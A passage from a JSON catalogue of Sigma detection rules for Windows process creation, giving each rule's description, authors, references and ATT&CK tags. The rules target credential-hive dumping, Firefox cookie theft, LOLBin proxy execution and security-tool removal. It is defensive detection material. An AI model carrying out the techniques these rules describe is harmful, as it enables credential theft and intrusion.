          "https://github.com/LOLBAS-Project/LOLBAS/blob/4db780e0f0b2e2bb8cb1fa13e09196da9b9f1834/yml/LOLUtilz/OSBinaries/Powershell.yml",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_run_script_from_input_stream.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.execution",
          "attack.t1059"
        ]
      },
      "related": [
        {
          "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "c83bf4b5-cdf0-437c-90fa-43d734f7c476",
      "value": "Run PowerShell Script from Redirected Input Stream"
    },
    {
      "description": "Detect usage of the \"defaultpack.exe\" binary as a proxy to launch other programs",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/12/31",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_lolbin_defaultpack.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/OtherMSBinaries/DefaultPack/",
          "https://www.echotrail.io/insights/search/defaultpack.exe",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_defaultpack.yml"
        ],
        "tags": [
          "attack.t1218",
          "attack.defense_evasion",
          "attack.execution"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b2309017-4235-44fe-b5af-b15363011957",
      "value": "Lolbin Defaultpack.exe Use As Proxy"
    },
    {
      "description": "Detects suspicious UltraVNC command line flag combination that indicate a auto reconnect upon execution, e.g. startup (as seen being used by Gamaredon threat group)",
      "meta": {
        "author": "Bhabesh Raj",
        "creation_date": "2022/03/04",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_ultravnc_susp_execution.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://uvnc.com/docs/uvnc-viewer/52-ultravnc-viewer-commandline-parameters.html",
          "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine",
          "https://web.archive.org/web/20220224045756/https://www.ria.ee/sites/default/files/content-editors/kuberturve/tale_of_gamaredon_infection.pdf",
          "https://unit42.paloaltonetworks.com/unit-42-title-gamaredon-group-toolset-evolution",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ultravnc_susp_execution.yml"
        ],
        "tags": [
          "attack.lateral_movement",
          "attack.g0047",
          "attack.t1021.005"
        ]
      },
      "related": [
        {
          "dest-uuid": "01327cde-66c4-4123-bf34-5f258d59457b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "871b9555-69ca-4993-99d3-35a59f9f3599",
      "value": "Suspicious UltraVNC Execution"
    },
    {
      "description": "Detects a suspicious command line execution that invokes PowerShell with reference to an AppData folder",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community",
        "creation_date": "2019/01/09",
        "falsepositive": [
          "Administrative scripts"
        ],
        "filename": "proc_creation_win_powershell_susp_ps_appdata.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/JohnLaTwC/status/1082851155481288706",
          "https://app.any.run/tasks/f87f1c4e-47e2-4c46-9cf4-31454c06ce03",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_susp_ps_appdata.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ac175779-025a-4f12-98b0-acdaeb77ea85",
      "value": "PowerShell Script Run in AppData"
    },
    {
      "description": "Detects when an internet hosted webdav share is mounted using the \"net.exe\" utility",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/02/21",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_net_use_mount_internet_share.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_use_mount_internet_share.yml"
        ],
        "tags": [
          "attack.lateral_movement",
          "attack.t1021.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "7e6237fe-3ddb-438f-9381-9bf9de5af8d0",
      "value": "Windows Internet Hosted WebDav Share Mount Via Net.EXE"
    },
    {
      "description": "ForceV1 asks for information directly from the kernel space. Conhost connects to the console application. High IntegrityLevel means the process is running with elevated privileges, such as an Administrator context.",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/12/09",
        "falsepositive": [
          "Very Likely, including launching cmd.exe via Run As Administrator"
        ],
        "filename": "proc_creation_win_conhost_legacy_option.yml",
        "level": "informational",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://learn.microsoft.com/en-us/windows/win32/secauthz/mandatory-integrity-control",
          "https://thedfirreport.com/2022/04/04/stolen-images-campaign-ends-in-conti-ransomware/",
          "https://cybercryptosec.medium.com/covid-19-cyber-infection-c615ead7c29",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_conhost_legacy_option.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1202"
        ]
      },
      "related": [
        {
          "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "3037d961-21e9-4732-b27a-637bcc7bf539",
      "value": "Suspicious High IntegrityLevel Conhost Legacy Option"
    },
    {
      "description": "It is extremely abnormal for svchost.exe to spawn without any CLI arguments and is normally observed when a malicious process spawns the process and injects code into the process memory space.",
      "meta": {
        "author": "David Burkett, @signalblur",
        "creation_date": "2019/12/28",
        "falsepositive": [
          "Rpcnet.exe / rpcnetp.exe which is a lojack style software. https://www.blackhat.com/docs/us-14/materials/us-14-Kamlyuk-Kamluk-Computrace-Backdoor-Revisited.pdf"
        ],
        "filename": "proc_creation_win_svchost_execution_with_no_cli_flags.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://securitybytes.io/blue-team-fundamentals-part-two-windows-processes-759fe15965e2",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_svchost_execution_with_no_cli_flags.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1055"
        ]
      },
      "related": [
        {
          "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "16c37b52-b141-42a5-a3ea-bbe098444397",
      "value": "Suspect Svchost Activity"
    },
    {
      "description": "Detects the use of Jlaive to execute assemblies in a copied PowerShell",
      "meta": {
        "author": "Jose Luis Sanchez Martinez (@Joseliyo_Jstnk)",
        "creation_date": "2022/05/24",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_hktl_jlaive_batch_execution.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://web.archive.org/web/20220514073704/https://github.com/ch2sh/Jlaive",
          "https://jstnk9.github.io/jstnk9/research/Jlaive-Antivirus-Evasion-Tool",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_jlaive_batch_execution.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "0a99eb3e-1617-41bd-b095-13dc767f3def",
      "value": "HackTool - Jlaive In-Memory Assembly Execution"
    },
    {
      "description": "Detects suspicious and uncommon child processes of WmiPrvSE",
      "meta": {
        "author": "Vadim Khrykov (ThreatIntel), Cyb3rEng, Florian Roth (Nextron Systems)",
        "creation_date": "2021/08/23",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_wmiprvse_susp_child_processes.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml",
          "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/",
          "https://blog.osarmor.com/319/onenote-attachment-delivers-asyncrat-malware/",
          "https://twitter.com/ForensicITGuy/status/1334734244120309760",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmiprvse_susp_child_processes.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.defense_evasion",
          "attack.t1047",
          "attack.t1204.002",
          "attack.t1218.010"
        ]
      },
      "related": [
        {
          "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "8a582fe2-0882-4b89-a82a-da6b2dc32937",
      "value": "Suspicious WmiPrvSE Child Process"
    },
    {
      "description": "Detects processes that query known 3rd party registry keys that holds credentials via commandline",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/06/20",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_registry_enumeration_for_credentials_cli.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/HyperSine/how-does-MobaXterm-encrypt-password",
          "https://github.com/synacktiv/Radmin3-Password-Cracker/blob/acfc87393e4b7c06353973a14a6c7126a51f36ac/regkey.txt",
          "https://isc.sans.edu/diary/More+Data+Exfiltration/25698",
          "https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#inside-the-registry",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_registry_enumeration_for_credentials_cli.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1552.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "341e222a-a6e3-4f6f-b69c-831d792b1580",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "87a476dc-0079-4583-a985-dee7a20a03de",
      "value": "Enumeration for 3rd Party Creds From CLI"
    },
    {
      "description": "Detects calls to the \"terminate\" function via wmic in order to kill an application",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/09/11",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_wmic_terminate_application.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://cyble.com/blog/lockfile-ransomware-using-proxyshell-attack-to-deploy-ransomware/",
          "https://www.bitdefender.com/files/News/CaseStudies/study/377/Bitdefender-Whitepaper-WMI-creat4871-en-EN-GenericUse.pdf",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_terminate_application.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1047"
        ]
      },
      "related": [
        {
          "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "49d9671b-0a0a-4c09-8280-d215bfd30662",
      "value": "Application Terminated Via Wmic.EXE"
    },
    {
      "description": "Compress target file into a cab file stored in the Alternate Data Stream (ADS) of the target file.",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/11/26",
        "falsepositive": [
          "Very Possible"
        ],
        "filename": "proc_creation_win_lolbin_diantz_ads.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/Diantz/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_diantz_ads.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1564.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "f2857333-11d4-45bf-b064-2c28d8525be5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "6b369ced-4b1d-48f1-b427-fdc0de0790bd",
      "value": "Suspicious Diantz Alternate Data Stream Execution"
    },
    {
      "description": "Detects suspicious command line patterns used when rundll32 is used to run JavaScript code",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/01/14",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_rundll32_js_runhtmlapplication.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "http://hyp3rlinx.altervista.org/advisories/MICROSOFT_WINDOWS_DEFENDER_DETECTION_BYPASS.txt",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_js_runhtmlapplication.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "9f06447a-a33a-4cbe-a94f-a3f43184a7a3",
      "value": "Rundll32 JS RunHTMLApplication Pattern"
    },
    {
      "description": "Detect use of the Windows 8.3 short name. Which could be used as a method to avoid Image based detection",
      "meta": {
        "author": "frack113, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/06",
        "falsepositive": [
          "Software Installers"
        ],
        "filename": "proc_creation_win_susp_ntfs_short_name_use_image.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/jonasLyk/status/1555914501802921984",
          "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc959352(v=technet.10)?redirectedfrom=MSDN",
          "https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ntfs_short_name_use_image.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1564.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "f2857333-11d4-45bf-b064-2c28d8525be5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "3ef5605c-9eb9-47b0-9a71-b727e6aa5c3b",
      "value": "Use NTFS Short Name in Image"
    },
    {
      "description": "Detects the execution GMER tool based on image and hash fields.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/10/05",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_hktl_gmer.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "http://www.gmer.net/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_gmer.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "9082ff1f-88ab-4678-a3cc-5bcff99fc74d",
      "value": "HackTool - GMER Rootkit Detector and Remover Execution"
    },
    {
      "description": "Detects a process spawned by the terminal service server process (this could be an indicator for an exploitation of CVE-2019-0708)",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2019/05/22",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_svchost_termserv_proc_spawn.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/rdp-stands-for-really-do-patch-understanding-the-wormable-rdp-vulnerability-cve-2019-0708/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_svchost_termserv_proc_spawn.yml"
        ],
        "tags": [
          "attack.initial_access",
          "attack.t1190",
          "attack.lateral_movement",
          "attack.t1210",
          "car.2013-07-002"
        ]
      },
      "related": [
        {
          "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "9db0cf3a-a3c9-4012-8268-123b9db6fd82",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1012f107-b8f1-4271-af30-5aed2de89b39",
      "value": "Terminal Service Process Spawn"
    },
    {
      "description": "Detection of unusual child processes by different system processes",
      "meta": {
        "author": "Semanur Guneysu @semanurtg, oscd.community",
        "creation_date": "2020/10/28",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_susp_abusing_debug_privilege.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://image.slidesharecdn.com/kheirkhabarovoffzonefinal-181117201458/95/hunting-for-privilege-escalation-in-windows-environment-74-638.jpg",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_abusing_debug_privilege.yml"
        ],
        "tags": [
          "attack.privilege_escalation",
          "attack.t1548"
        ]
      },
      "related": [
        {
          "dest-uuid": "67720091-eee3-4d2d-ae16-8264567f6f5b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "d522eca2-2973-4391-a3e0-ef0374321dae",
      "value": "Abused Debug Privilege by Arbitrary Parent Processes"
    },
    {
      "description": "Detects direct modification of autostart extensibility point (ASEP) in registry using reg.exe.",
      "meta": {
        "author": "Victor Sergeev, Daniil Yugoslavskiy, oscd.community",
        "creation_date": "2019/10/25",
        "falsepositive": [
          "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reasons.",
          "Legitimate administrator sets up autorun keys for legitimate reasons.",
          "Discord"
        ],
        "filename": "proc_creation_win_reg_direct_asep_registry_keys_modification.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_direct_asep_registry_keys_modification.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1547.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "24357373-078f-44ed-9ac4-6d334a668a11",
      "value": "Direct Autorun Keys Modification"
    },
    {
      "description": "Detects commands that indicate a Raccine removal from an end system. Raccine is a free ransomware protection tool.",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2021/01/21",
        "falsepositive": [
          "Legitimate deinstallation by administrative staff"
        ],
        "filename": "proc_creation_win_susp_disable_raccine.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/Neo23x0/Raccine",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_disable_raccine.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a31eeaed-3fd5-478e-a8ba-e62c6b3f9ecc",
      "value": "Raccine Uninstall"
    },
    {
      "description": "Detect usage of the \"sqlite\" binary to query databases in Firefox and other Gecko-based browsers for potential data stealing.",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/04/08",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_sqlite_firefox_gecko_profile_data.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://blog.cyble.com/2022/04/21/prynt-stealer-a-new-info-stealer-performing-clipper-and-keylogger-activities/",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1539/T1539.md#atomic-test-1---steal-firefox-cookies-windows",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sqlite_firefox_gecko_profile_data.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1539",
          "attack.collection",
          "attack.t1005"
        ]
      },
      "related": [
        {
          "dest-uuid": "10ffac09-e42d-4f56-ab20-db94c67d76ff",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4833155a-4053-4c9c-a997-777fcea0baa7",
      "value": "SQLite Firefox Profile Data DB Access"
    },
    {
      "description": "Detects the usage of \"reg.exe\" in order to dump sensitive registry hives, which includes SAM, SYSTEM and SECURITY",
      "meta": {
        "author": "Teymur Kheirkhabarov, Endgame, JHasenbusch, Daniil Yugoslavskiy, oscd.community, frack113",
        "creation_date": "2019/10/22",
        "falsepositive": [
          "Dumping hives for legitimate purpouse i.e. backup or forensic investigation"
        ],
        "filename": "proc_creation_win_reg_dumping_sensitive_hives.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-1---registry-dump-of-sam-creds-and-secrets",
          "https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003/T1003.md",
          "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment",
          "https://eqllib.readthedocs.io/en/latest/analytics/aed95fc6-5e3f-49dc-8b35-06508613f979.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_dumping_sensitive_hives.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.002",
          "attack.t1003.004",
          "attack.t1003.005",
          "car.2013-07-001"
        ]
      },
      "related": [
        {
          "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "1ecfdab8-7d59-4c98-95d4-dc41970f57fc",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "6add2ab5-2711-4e9d-87c8-7a0be8531530",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "fd877b94-9bb5-4191-bb25-d79cbd93c167",
      "value": "Dumping of Sensitive Hives Via Reg.EXE"
    },
    {
      "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/02/11",
        "falsepositive": [
          "Legitimate use"
        ],
        "filename": "proc_creation_win_remote_access_tools_anydesk.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-2---anydesk-files-detected-test-on-windows",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_anydesk.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1219"
        ]
      },
      "related": [
        {
          "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b52e84a3-029e-4529-b09b-71d19dd27e94",
      "value": "Remote Access Tool - AnyDesk Execution"
    },
    {
      "description": "Detects a suspicious process creation as SYSTEM user (suspicious program or command line parameter)",
      "meta": {
        "author": "Florian Roth (Nextron Systems), David ANDRE (additional keywords)",
        "creation_date": "2021/12/20",
        "falsepositive": [
          "Administrative activity",
          "Scripts and administrative tools used in the monitored environment",
          "Monitoring activity"
        ],
        "filename": "proc_creation_win_susp_system_user_anomaly.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://tools.thehacker.recipes/mimikatz/modules",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_system_user_anomaly.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1134",
          "attack.t1003",
          "attack.t1027"
        ]
      },
      "related": [
        {
          "dest-uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "2617e7ed-adb7-40ba-b0f3-8f9945fe6c09",
      "value": "Suspicious SYSTEM User Process Creation"
    },
    {
      "description": "Detects usage of Gpg4win to encrypt/decrypt files located in potentially suspicious locations.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), X__Junior (Nextron Systems)",
        "creation_date": "2022/11/30",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_gpg4win_susp_location.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://blogs.vmware.com/security/2022/11/batloader-the-evasive-downloader-malware.html",
          "https://news.sophos.com/en-us/2022/01/19/zloader-installs-remote-access-backdoors-and-delivers-cobalt-strike/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_gpg4win_susp_location.yml"
        ],
        "tags": [
          "attack.execution"
        ]
      },
      "uuid": "e1e0b7d7-e10b-4ee4-ac49-a4bda05d320d",
      "value": "File Encryption/Decryption Via Gpg4win From Suspicious Locations"
    },
    {
      "description": "Detects execution from an Alternate Data Stream (ADS). Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/09/01",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_susp_alternate_data_streams.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.004/T1564.004.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_alternate_data_streams.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1564.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "f2857333-11d4-45bf-b064-2c28d8525be5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "7f43c430-5001-4f8b-aaa9-c3b88f18fa5c",
      "value": "Execute From Alternate Data Streams"
    },
    {
      "description": "Detects the execution of format.com with a suspicious filesystem selection that could indicate a defense evasion activity in which format.com is used to load malicious DLL files or other programs",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/01/04",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_lolbin_format.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/wdormann/status/1478011052130459653?s=20",
          "https://twitter.com/0gtweet/status/1477925112561209344",
